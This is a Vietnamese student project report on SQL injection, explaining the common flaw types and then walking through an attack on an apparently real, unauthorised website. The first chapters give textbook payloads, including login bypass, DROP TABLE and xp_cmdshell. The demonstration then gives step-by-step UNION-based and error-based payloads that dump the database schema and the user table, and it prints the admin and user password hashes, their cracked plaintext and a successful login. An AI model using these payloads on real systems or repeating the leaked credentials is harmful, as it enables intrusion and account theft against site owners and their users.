Tải bản đầy đủ (.docx) (30 trang)

TRIỂN KHAI MÔ PHỎNG TẤN CÔNG SQL INJECTION VÀO WEBSERVER

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (1.55 MB, 30 trang )

TRƯỜNG ĐẠI HỌC
KHOA CÔNG NGHỆ THÔNG TIN
-----***-----

ĐỒ ÁN MÔN HỌC 2017
ĐỀ TÀI:
TRIỂN KHAI MÔ PHỎNG TẤN CÔNG SQL
INJECTION VÀO WEBSERVER
Giảng viên hướng dẫn
Sinh viên thực hiện

Hà Nội – 2017

SV. BM Mạng Máy Tính – Khóa 58


BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05

MỤC LỤC

SV BM. MẠNG MÁY TÍNH – KHÓA 58

Page 2


BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05

LỜI MỞ ĐẦU
Tại sao SQL Injection lại “thần thánh”?
Những lý do sau đã tạo nên tên tuổi lừng lẫy của SQL Injection:



Cực kỳ nguy hiểm – Có thể gây ra những thiệt hại khổng lồ. Với SQL
Injection, hacker có thể truy cập một phần hoặc toàn bộ dữ liệu trong hệ thống.



Rất phổ biến và dễ thực hiện – Lỗ hổng này rất nổi tiếng, từ developer đến
hacker gần như ai cũng biết. Ngoài ra, còn có 1 số tool tấn công SQL Injection
cho dân “ngoại đạo”, những người không biết gì về lập trình.



Rất nhiều ông lớn từng bị dính – Sony, Microsoft UK. Mọi vụ lùm xùm liên
quan tới “lộ dữ liệu người dùng” ít nhiều đều dính dáng tới SQL Injection.

Dễ tấn công, phổ biến, gây ra hậu quả nghiêm trọng, đó là lý dó Inject (Không chỉ
SQL mà OS và LDAP) nằm chễm chễ ở vị trí đầu bảng trong top 10 lỗ hỗng bảo mật
của OWASP.
Vậy SQL Injection thực sự “Thần thánh” như thế nào? Bài báo cáo này, nhóm 05 sẽ
nói rõ những đặc điểm nổi trội đó.

SV BM. MẠNG MÁY TÍNH – KHÓA 58

Page 3


BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05

CHƯƠNG I: GIỚI THIỆU CHUNG VỀ SQL INJECTION
Khái niệm SQL Injection


I.

SQL (Structured Query Language) được sử dụng để truy vấn, thao
tác dữ liệu trong Database.
SQL Injection là một kỹ thuật tấn công vào câu lệnh cơ sở dữ liệu
thông qua chèn các đoạn mã độc vào SQL để đánh lạc hướng xử lý với mục
đích phá hủy dữ liệu hoặc ăn cắp.
SQL injection có thể cho phép những kẻ tấn công thực hiện các thao tác,
delete, insert, update… trên cơ sở dữ liệu của ứng dụng, thậm chí là server
mà ứng dụng đó đang chạy. SQL injection thường được biết đến như là
một vật trung gian tấn công trên các ứng dụng web có dữ liệu được quản lý
bằng

các

hệ

quản

trị



sở

dữ

liệu


như

SQL

Server, MySQL, Oracle, DB2, Sysbase...
MsAccess: thường dành cho các website tin tức quy mô nhỏ, sử dụng ngôn
ngữ ASP để thiết kế.
MSSQL: dùng cho website có quy mô lớn, sử dụng ngôn ngữ ASP, ASPX
(ASP.Net) để thiết kế.
MySQL: tất cả các website có thể dùng, sử dụng ngôn ngữ PHP để thiết kế
(MySQL và PHP là 2 anh em song sinh, chúng luôn đi kèm với nhau ).
Oracle: tương tự như MySQL Db2: dùng cho các hệ thông website ngân
hàng các hệ thống cần chế độ bảo mật rất cao!
Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như
Internet Explorer, Netscape, Lynx, ...
II.

Quy trình tấn công

1.
2.
3.

Hacker tìm form hoặc lỗ hổng qua URL của website
Hacker chèn lệnh SQL vào lỗ hổng
Hacker lấy được thông tin mình mong muốn, ví dụ thông tin bài đăng hoặc

4.

thông tin của một User, hoặc thông tin đăng nhập của SQL

Hacker giải mã password của admin, hoặc thay thế mật khẩu của mình vào

5.

rồi đăng nhập bằng tài khoản Admi
Thay đổi nội dung website, đánh cắp dữ liệu…
III.
1.

Các dạng lỗi thường gặp
Không kiểm tra ký tự thoát truy vấn

SV BM. MẠNG MÁY TÍNH – KHÓA 58

Page 4


BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05
Đây là dạng lỗi SQL injection xảy ra khi thiếu đoạn mã kiểm tra dữ liệu đầu
vào trong câu truy vấn SQL. Kết quả là người dùng cuối có thể thực hiện một
số truy vấn không mong muốn đối với cơ sở dữ liệu của ứng dụng. Dòng mã
sau sẽ minh họa lỗi này:
statement = "SELECT * FROM users WHERE name = '" + userName +
"';"
Câu lệnh này được thiết kế để trả về các bản ghi tên người dùng cụ thể từ
bảng những người dùng. Tuy nhiên, nếu biến "userName" được nhập chính
xác theo một cách nào đó bởi người dùng ác ý, nó có thể trở thành một câu
truy vấn SQL với mục đích khác hẳn so với mong muốn của tác giả đoạn mã
trên. Ví dụ, ta nhập vào giá trị của biến userNamenhư sau:
a' or 't'='t

Khiến câu truy vấn có thể được hiểu như sau:
SELECT * FROM users WHERE name = 'a' or 't'='t';
Nếu đoạn mã trên được sử dụng trong một thủ tục xác thực thì ví dụ trên có
thể được sử dụng để bắt buộc lựa chọn một tên người dùng hợp lệ bởi 't'='t'
luôn đúng. Trong khi hầu hết các SQL server cho phép thực hiện nhiều truy
vấn cùng lúc chỉ với một lần gọi, tuy nhiên một số SQL API như
mysql_query của php lại không cho phép điều đó vì lý do bảo mật. Điều này
chỉ ngăn cản tin tặc tấn công bằng cách sử dụng các câu lệnh riêng rẽ mà
không ngăn cản tin tặc thay đổi các từ trong cú pháp truy vấn. Các giá trị của
biến "userName" trong câu truy vấn dưới đây sẽ gây ra việc xoá những người
dùng từ bảng người dùng cũng tương tự như việc xóa tất cả các dữ liệu được
từ bảng dữ liệu (về bản chất là tiết lộ các thông tin của mọi người dùng), ví
dụ này minh họa bằng một API cho phép thực hiện nhiều truy vấn cùng lúc:
a';DROP TABLE users; SELECT * FROM data WHERE 't' = 't
SV BM. MẠNG MÁY TÍNH – KHÓA 58

Page 5


BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05
Điều này đưa tới cú pháp cuối cùng của câu truy vấn trên như sau:
SELECT * FROM users WHERE name = 'a';DROP TABLE users;
SELECT * FROM data WHERE 't' = 't';

2.

Xử lý không đúng kiểu

Lỗi SQL injection dạng này thường xảy ra do lập trình viên hay người dùng
định nghĩa đầu vào dữ liệu không rõ ràng hoặc thiếu bước kiểm tra và lọc

kiểu dữ liệu đầu vào. Điều này có thể xảy ra khi một trường số được sử dụng
trong truy vấn SQL nhưng lập trình viên lại thiếu bước kiểm tra dữ liệu đầu
vào để xác minh kiểu của dữ liệu mà người dùng nhập vào có phải là số hay
không. Ví dụ như sau:
statement:= "SELECT * FROM data WHERE id = " + a_variable + ";"
Ta có thể nhận thấy một cách rõ ràng ý định của tác giả đoạn mã trên là nhập
vào một số tương ứng với trường id - trường số. Tuy nhiên, người dùng cuối,
thay vì nhập vào một số, họ có thể nhập vào một chuỗi ký tự, và do vậy có
thể trở thành một câu truy vấn SQL hoàn chỉnh mới mà bỏ qua ký tự thoát. Ví
dụ, ta thiết lập giá trị của biến a_variable là:
1;DROP TABLE users
khi đó, nó sẽ thực hiện thao tác xóa người dùng có id tương ứng khỏi cơ sở
dữ liệu, vì câu truy vấn hoàn chỉnh đã được hiểu là:
SELECT * FROM data WHERE id=1;DROP TABLE users;
3.

Lỗi bảo mật bên trong máy chủ cơ sở dữ liệu

Đôi khi lỗ hổng có thể tồn tại chính trong phần mềm máy chủ cơ sở dữ liệu,
như là trường hợp hàm mysql_real_escape_string() của các máy chủ MySQL.
Điều này sẽ cho phép kẻ tấn công có thể thực hiện một cuộc tấn công SQL
injection thành công dựa trên những ký tự Unicode không thông thường ngay
cả khi đầu nhập vào đang được thoát.
4.

Blind SQL injection

SV BM. MẠNG MÁY TÍNH – KHÓA 58

Page 6



BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05
Lỗi SQL injection dạng này là dạng lỗi tồn tại ngay trong ứng dụng web
nhưng hậu quả của chúng lại không hiển thị trực quan cho những kẻ tấn công.
Nó có thể gây ra sự sai khác khi hiển thị nội dung của một trang chứa lỗi bảo
mật này, hậu quả của sự tấn công SQL injection dạng này khiến cho lập trình
viên hay người dùng phải mất rất nhiều thời gian để phục hồi chính xác từng
bit dữ liệu. Những kẻ tấn công còn có thể sử dụng một số công cụ để dò tìm
lỗi dạng này và tấn công với những thông tin đã được thiết lập sẵn.
a.

Thay đổi giá trị điều kiện truy vấn

Dạng lỗi này khiến cho kẻ tấn công có thể thay đổi giá trị điều kiện trong câu
truy vấn, làm sai lệch sự hiển thị của một ứng dụng chứa lỗi này.
SELECT booktitle from booklist where bookId = 'OOk14cd' AND 1=1;
Sẽ hiển thị một trang một cách bình thường, trong khi:
SELECT booktitle from booklist where bookId = 'OOk14cd' AND 1=2;
Sẽ hiển thị một nội dung khác, hoặc không hiển thị gì nếu ứng dụng web có
chứa lỗi SQL injection dạng này. Lỗ hổng dạng này còn cho phép tin tặc
không chỉ gây ảnh hưởng tới bảng hay dữ liệu hiện tại mà còn ảnh hưởng tới
những dữ liệu hay bảng khác phụ thuộc vào nội dung của dữ liệu hay bảng
hiện tại.
b.

Điều kiện lỗi

Mỗi SQL injection dạng này dẫn tới việc buộc cơ sở dữ liệu chỉ được phép
đánh giá khi mà giá trị của câu lệnh WHERE là đúng. Ví dụ:

SELECT 1/0 from users where username='Ralph';
Phép chia cho 0 chỉ được đánh giá là lỗi khi mà người dùng có tên "Ralph"
tồn tại trong cơ sở dữ liệu.
c.

Thời gian trễ

SV BM. MẠNG MÁY TÍNH – KHÓA 58

Page 7


BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05
Lỗi SQL injection dạng này tồn tại khi thời gian xử lý của một hay nhiều truy
vấn SQL phụ thuộc vào dữ liệu logic được nhập vào hoặc quá trình xử lý truy
vấn của SQL engine cần nhiều thời gian. Tin tặc có thể sử dụng lỗi SQL
injection dạng này để xác định thời gian chính xác mà trang cần tải khi giá trị
nhập vào là đúng.

SV BM. MẠNG MÁY TÍNH – KHÓA 58

Page 8


BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05

CHƯƠNG II: MỘT SỐ DẠNG TẤN CÔNG THƯỜNG
GẶP VỚI CÁC ỨNG DỤNG WEB
Dạng tấn công vượt qua kiểm tra lúc đăng nhập


I.

Với dạng tấn công này, tin tặc có thể dễ dàng vượt qua các trang đăng nhập
nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng
dụng web. Thông thường để cho phép người dùng truy cập vào các trang web
được bảo mật, hệ thống thường xây dựng trang đăng nhập để yêu cầu người
dùng nhập thông tin về tên đăng nhập và mật khẩu. Sau khi người dùng nhập
thông tin vào, hệ thống sẽ kiểm tra tên đăng nhập và mật khẩu có hợp lệ hay
không để quyết định cho phép hay từ chối thực hiện tiếp. Ví dụ, trong trường
hợp sử dụng ASP, người ta có thể dùng 2 trang: 1 trang HTML để hiển thị
Form nhập liệu và 1 trang ASP để xử lý thông tin nhập vào từ phía người
dùng như sau:
-

Trang nhập liệu: login.htm

<form action="ExecLogin.asp" method="post">
Username: <input type="text" name="fUSRNAME">

Password: <input type="password" name="fPASSWORD">

<input type="submit">
</form>
-

Trang xử lý nhập liệu: execlogin.asp

<%
Dim vUsrName, vPassword, objRS, strSQL
vUsrName = Request.Form("fUSRNAME")

vPassword = Request.Form("fPASSWORD")
SV BM. MẠNG MÁY TÍNH – KHÓA 58

Page 9


BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05
strSQL = "SELECT * FROM T_USERS " & _
"WHERE USR_NAME=' " & vUsrName & _
" ' and USR_PASSWORD=' " & vPassword & " ' "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."
If (objRS.EOF) Then
Response.Write "Invalid login."
Else
Response.Write "You are logged in as " & objRS("USR_NAME")
End If
Set objRS = Nothing %>
Chỗ sơ hở trong đoạn mã xử lý nhập liệu trên nằm ở chỗ dữ liệu nhập vào từ
người dùng được dùng để xây dựng trực tiếp câu lệnh SQL. Chính điều này
cho phép tin tặc có thể điều khiển câu truy vấn sẽ được thực hiện. Ví dụ, nếu
người dùng nhập chuỗi trong ngoặc sau vào trong cả hai ô nhập liệu
username/password của trang login.htm là:('OR='). Lúc này, câu truy vấn sẽ
được gọi thực hiện là:
SELECT * FROM T_USERS WHERE USR_NAME =''OR''='' and
USR_PASSWORD= ''OR''=''
Câu truy vấn này là hợp lệ và sẽ trả về tất cả các bản ghi của T_USERS và
đoạn mã tiếp theo xử lý người dùng đăng nhập bất hợp pháp này như là người
dùng đăng nhập hợp lệ.
II.


Dạng tấn công sử dụng câu lệnh SELECT

SV BM. MẠNG MÁY TÍNH – KHÓA 58

Page 10


BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05
Dạng tấn công này phức tạp hơn. Để thực hiện được kiểu tấn công này, kẻ tấn
công phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo lỗi từ
hệ thống để dò tìm các điểm yếu khởi đầu cho việc tấn công. Ví dụ, trong các
trang tìm kiếm. Các trang này cho phép người dùng nhập vào các thông tin
tìm kiếm như Họ, Tên, … Đoạn mã thường gặp là:
<%
Dim vAuthorName, objRS, strSQL
vAuthorName = Request("fAUTHOR_NAME")
strSQL = "SELECT * FROM T_AUTHORS WHERE AUTHOR_NAME ='
" & _ vAuthorName & " ' "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."

Set objRS = Nothing %>
Tương tự như trên, tin tặc có thể lợi dụng sơ hở trong câu truy vấn SQL để
nhập vào trường tên tác giả bằng chuỗi giá trị:
' UNION SELECT ALL SELECT OtherField FROM OtherTable WHERE ' '='
(*)
Lúc này, ngoài câu truy vấn đầu không thành công, chương trình sẽ thực hiện
thêm lệnh tiếp theo sau từ khóa UNION nữa. Giả sử đoạn mã nhập vào là:
' DROP TABLE T_AUTHORS -Câu truy vấn sẽ thực hiện việc xóa bảng.

III.

Dạng tấn công sử dụng câu lệnh INSERT

SV BM. MẠNG MÁY TÍNH – KHÓA 58

Page 11


BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05
Thông thường các ứng dụng web cho phép người dùng đăng ký một tài khoản
để tham gia. Chức năng không thể thiếu là sau khi đăng ký thành công, người
dùng có thể xem và hiệu chỉnh thông tin của mình. SQL injection có thể được
dùng khi hệ thống không kiểm tra tính hợp lệ của thông tin nhập vào. Ví dụ,
một câu lệnh INSERT có thể có cú pháp dạng:
INSERT INTO TableName VALUES('Value One', 'Value Two', 'Value Three')
Nếu đoạn mã xây dựng câu lệnh SQL có dạng:
<%
strSQL = "INSERT INTO TableName VALUES(' " & strValueOne & " ', ' "
_ & strValueTwo & " ', ' " & strValueThree & " ') "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN=..."

Set objRS = Nothing %>
Thì chắc chắn sẽ bị lỗi SQLi, bởi vì nếu ta nhập vào trường thứ nhất ví dụ
như:
' + (SELECT TOP 1 FieldName FROM TableName) + '
Lúc này câu truy vấn sẽ là:
INSERT INTO TableName VALUES(' ' + (SELECT TOP 1 FieldName FROM
TableName) + ' ', 'abc', 'def')

Khi đó, lúc thực hiện lệnh xem thông tin, xem như bạn đã yêu cầu thực hiện
thêm một lệnh nữa đó là:
SELECT TOP 1 FieldName FROM TableName
SV BM. MẠNG MÁY TÍNH – KHÓA 58

Page 12


BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05
IV.

Dạng tấn công sử dụng stored-procedures

Việc tấn công bằng stored-procedures sẽ gây tác hại rất lớn nếu ứng dụng
được thực thi với quyền quản trị hệ thống 'sa'. Ví dụ, nếu ta thay đoạn mã
tiêm vào dạng: '; EXEC xp_cmdshell ‘cmdd.exe dir C: '. Lúc này hệ thống sẽ
thực hiện lệnh liệt kê thư mục trên ổ đĩa C:\ cài đặt server. Việc phá hoại kiểu
nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe.

SV BM. MẠNG MÁY TÍNH – KHÓA 58

Page 13


BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05

CHƯƠNG III: MÔ PHỎNG TẤN CÔNG WEBSERVER
BẰNG SỬ DỤNG CÂU LỆNH SELECT
Để thực hiện được kiểu tấn công này, kẻ tấn công phải có khả năng hiểu và
lợi dụng các sơ hở trong các thông báo lỗi từ hệ thống để dò tìm các điểm yếu

khởi đầu cho việc tấn công.
I.

Thực hiện SQL Injection bằng Hackbar trên FireFox

Tool cần chuẩn bị: Add-on FireFox Hackbar
Để tìm một trang web có khả năng dính lỗi, ta tìm kiếm Google bằng lệnh
sau:

Có rất nhiều web hiện ra, ví dụ ta truy cập trang web đầu tiên:
/>
SV BM. MẠNG MÁY TÍNH – KHÓA 58

Page 14


BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05

Để phát hiện một ứng dụng web có dính lỗi SQL Injection hay không, ta thêm
vào câu truy vấn các meta character trong các hệ quản trị cơ sở dữ liệu, chẳng
hạn như dấu nháy đơn, dấu nháy kép, dấu chấm phẩy và các ký tự comment
(--, ##, /**/, %)… và chờ xem ứng dụng web sẽ xứ lý câu truy vấn đó như
thế nào.
+

+

+

Dấu nháy đơn (‘): dấu này trong ngôn ngữ SQL dùng để “gói” chuỗi.

Ta thường thêm nó vào sau tham số kiểu số trên chuỗi truy vấn để kiểm
tra có lỗi hay không. Nguyên nhân là do không kiểm tra kiểu dữ liệu.
Dấu thăng (#) và dấu (): các dấu này để đánh dấu chú thích, nghĩa là
những kí tự đứng sau một trong hai dấu này trên cùng một dòng sẽ
được xem là chú thích được bỏ qua khi thực hiện truy vấn.
Dấu ( ; ): dùng để kết thúc một truy vấn và tất nhiên sau nó là bắt đầu
một truy vấn khác. Đôi khi ta dùng union để nối hai câu truy vấn.

Thêm vào cuối liên kết trên một trong các meta character đã nói ở trên, chẳng
hạn
ta
thêm
vào
dấu
nháy
đơn:

/>
SV BM. MẠNG MÁY TÍNH – KHÓA 58

Page 15


BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05

Thông tin của sản phẩm đã mất, như vậy trang web này đã bị dính lỗi SQL
injection.
II.

Xác định số lượng cột trong mệnh đề Select


Từ khóa 'order by' được dùng để sắp xếp thứ tự cho các bản ghi thu được
trong mệnh đề select. Sau order by có thể là tên một cột để xác định rằng kết
quả thu về sẽ được sắp xếp theo giá trị của cột đó (tăng dần hoặc giảm dần).
Sau 'order by' cũng có thể là số thứ tự vị trí của cột đó. Nếu giá trị sau order
lớn hơn số cột được select thì chúng ta sẽ thấy thông tin bị mất.
Chèn sau url đoạn mã : order by ….– (… là giá trị số nguyên, thử cho đến khi
nào link bị lỗi thì dừng lại )
Order by được sử dụng để:
+ Làm tiết kiệm thời gian attack.
+ Tính số field ,column có trong CSDL SQL.

SV BM. MẠNG MÁY TÍNH – KHÓA 58

Page 16


BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05

Ở đây, khi chạy đến order by 21 thì thông tin bị mất, Suy ra số cột có trong
database là 21 -1 =20.
III.

Xác định thông tin, khai thác thông tin

Trong số 20 cột của bảng này có cột bị lỗi. Để tìm cột bị lỗi ta sử
dụng lệnh union.
Union là từ khóa dùng để gộp kết quả của nhiều mệnh đề select do
đó trong mỗi mệnh đề select đòi hỏi số lượng các trường đều phải
bằng nhau và đều bằng số lượng các trường được select trong mệnh

đề select ban đầu.
SV BM. MẠNG MÁY TÍNH – KHÓA 58

Page 17


BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05
Ở trên thanh hackbar của Firefox, ta vào SQL > Union Select
statement và nhập vào số cột của bảng là 20 cột > OK. Hackbar sẽ
tự động điền câu lệnh union cho ta trên thanh địa chỉ:

SV BM. MẠNG MÁY TÍNH – KHÓA 58

Page 18


BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05

Chạy Excute. Để tìm được cột lỗi. Cột lỗi sẽ được hiện lên những
con số, trường hợp nếu không hiện lên số cột lỗi, ta sẽ sử dụng một
trong các cách sau:
+
+
+
+
+
+

Viewsource
Xem file ảnh bị lỗi để thấy số

Thay số bằng null (vd id=-328 thì thay id=null UNION….)
Thay các column(field) bằng null (vd :UNION SELECT
null,null,….)
Bypass filter (mod_security).
TH hiện ra thông báo thế này: The used SELECT statements
have a different number of columns
Union
select
như
sau:
id=1+and+1=0+UNION
SELECT+1,2…
Hoặc dùng error base:

SV BM. MẠNG MÁY TÍNH – KHÓA 58

Page 19


BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05
And (Select 1 From(Select Count( * ),Concat(CHAR (124),
(Select
concat_ws(0x7c,version(),database(),user())),floor
(rAnd(0)*2),CHAR (124))x From Information_Schema.Tables
Group
By
x)a)–

and extractvalue(rand(),concat(0x3a,version(),0x3a,use r()))–
or

1
group
by
concat_ws(0x7c,version(),database(),current_user,f
loor(rand(0)*2)) having min(0) or 1–
Hoặc dùng blind: and substring(version(),1,1)=5
Tuỳ thời cơ mà biến hoá chúng.
Ta tìm được cột lỗi là 3 và 7. Ta sẽ chọn một trong hai cột bị lỗi này
để từ đó tìm ra lỗ hổng của database. Ở đây ta sẽ khai thác cột 3 để
tìm xem trong database này có những bảng nào.
Để biết được tên bảng, tên cột, ta sử dụng đối tượng
information_schema. Đối tượng này cung cấp các thông tin về
tables, columns, views và procedures… của cơ sở dữ liệu. Ở đây ta
muốn tìm thông tin về các bảng trong cơ sở dữ liệu nên ta sẽ truy
vấn từ information_schema.tables. Lệnh Group_concat để nối
nhiều giá trị với nhau.
Chèn
đoạn

này
vào
số
3:
unhex(hex(group_concat(table_name))) và câu lệnh sau số 20: from
information_schema.tables. Sau đó excute địa chỉ trên. Nó sẽ hiện
ra toàn bộ tên bảng có trong database:
/>UNION SELECT 1,2,unhex(hex(group_concat(table_name))) ,
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
from
information_schema.tables


SV BM. MẠNG MÁY TÍNH – KHÓA 58

Page 20


BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05

CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_S
ET_APPLICABILITY,COLUMNS,COLUMN_PRIVILEGES,ENGIN
ES,EVENTS,FILES,GLOBAL_STATUS,GLOBAL_VARIABLES,KEY
_COLUMN_USAGE,PARAMETERS,PARTITIONS,PLUGINS,PRO
CESSLIST,PROFILING,REFERENTIAL_CONSTRAINTS,ROUTIN
ES,SCHEMATA,SCHEMA_PRIVILEGES,SESSION_STATUS,SESSI
ON_VARIABLES,STATISTICS,TABLES,TABLESPACES,TABLE_CO
NSTRAINTS,TABLE_PRIVILEGES,TRIGGERS,USER_PRIVILEGE
S,VIEWS,INNODB_BUFFER_PAGE,INNODB_TRX,INNODB_BU
FFER_POOL_STATS,INNODB_LOCK_WAITS,INNODB_CMPME
M,INNODB_CMP,INNODB_LOCKS,INNODB_CMPMEM_RESET
,INNODB_CMP_RESET,INNODB_BUFFER_PAGE_LRU,tbl_acce
ss,tbl_config,tbl_content,tbl_content_category,tbl_member,tbl_orde
r,tbl_order_detail,tbl_product,tbl_product_category,tbl_product_ho
me,tbl_product_pro,tbl_product_sell,tbl_product_special,tbl_user,t
bl_visitor
Chúng ta không quan tâm lắm nhưng table dạng như này:
CHARACTER_SETS,COLLATIONS,COLLATION_CHARACTER_S
ET_ APPLICABILITY,USER_PRIVILEGES,VIEWS,… vì đó chỉ là
những table của hệ thống thôi, quan trọng là xác định được table
chứa admin trong mớ hỗn độn phía trên.
Ta có thể xem thông tin bất cứ bảng nào ta muốn, ở đây ta sẽ xem

thông tin từ bảng tbl_user để lấy thông tin user đăng nhập. Để lấy
thông tin các cột trong bảng ta thay các khoá table thành column và
table_schema thành table_name. Để truy cập cho đúng thì ta phải
SV BM. MẠNG MÁY TÍNH – KHÓA 58

Page 21


BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05
chuyển tên bảng cần lấy thông về cơ sở dữ liệu dạng SQL. Để làm
việc này ta bôi đen tên bảng (tbl_user), sau đó vào SQL > MySQL
> MySQL CHAR().
/>UNION SELECT 1,2,unhex(hex(group_concat(column_name))) ,
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20
from
information_schema.columns where table_name=tbl_user

Excute truy vấn trên, ta được thông tin các cột trong bảng tbl_user.
Bao gồm: id,uid,pwd
Sau công việc này ta đã xác định được 2 cloumn quan trọng nhất là
uid và pwd. Ta tiến hành lấy thông tin. Bằng cách:
SV BM. MẠNG MÁY TÍNH – KHÓA 58

Page 22


BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05
Chèn đoạn mã sau vào số 3: group_concat(uid,0x3a,pwd) và sau số
20 sẽ là: from tbl_user – (đây chính là table chứa id và pwd mà ta
đang

khai
thác).
Lưu ý: 0x3a chính là ký tự “:” ngăn cách id và pwd, hoặc 0x2f hay
0x7c là “/”.
/>UNION
SELECT
1,2,group_concat(uid,0x3a,pwd)
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 from tbl_user

,

Sau đó ấn Execute, ta nhận được uid cũng như pwd dưới dạng mã
hóa md5:
admin:827ccb0eea8a706c4c34a16891f84e7b
phamvan:48472492c504e777a664efeff27d9fee
Để
giải

password,
truy
cập
links:
/>nhập
827ccb0eea8a706c4c34a16891f84e7b sau đó ấn giải mã (Dercypt).

SV BM. MẠNG MÁY TÍNH – KHÓA 58

Page 23



BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05

Như vậy tài khoản admin có password là 12345. Ta sử dụng thông
tin trên để đăng nhập vào hệ thống, kết quả là đăng nhập thành
công. Tương tự, giải mã password của tài khoản phamvan ta được:
52041688.

SV BM. MẠNG MÁY TÍNH – KHÓA 58

Page 24


BÁO CÁO ĐỒ ÁN MÔN HỌC NHÓM 05

SV BM. MẠNG MÁY TÍNH – KHÓA 58

Page 25


×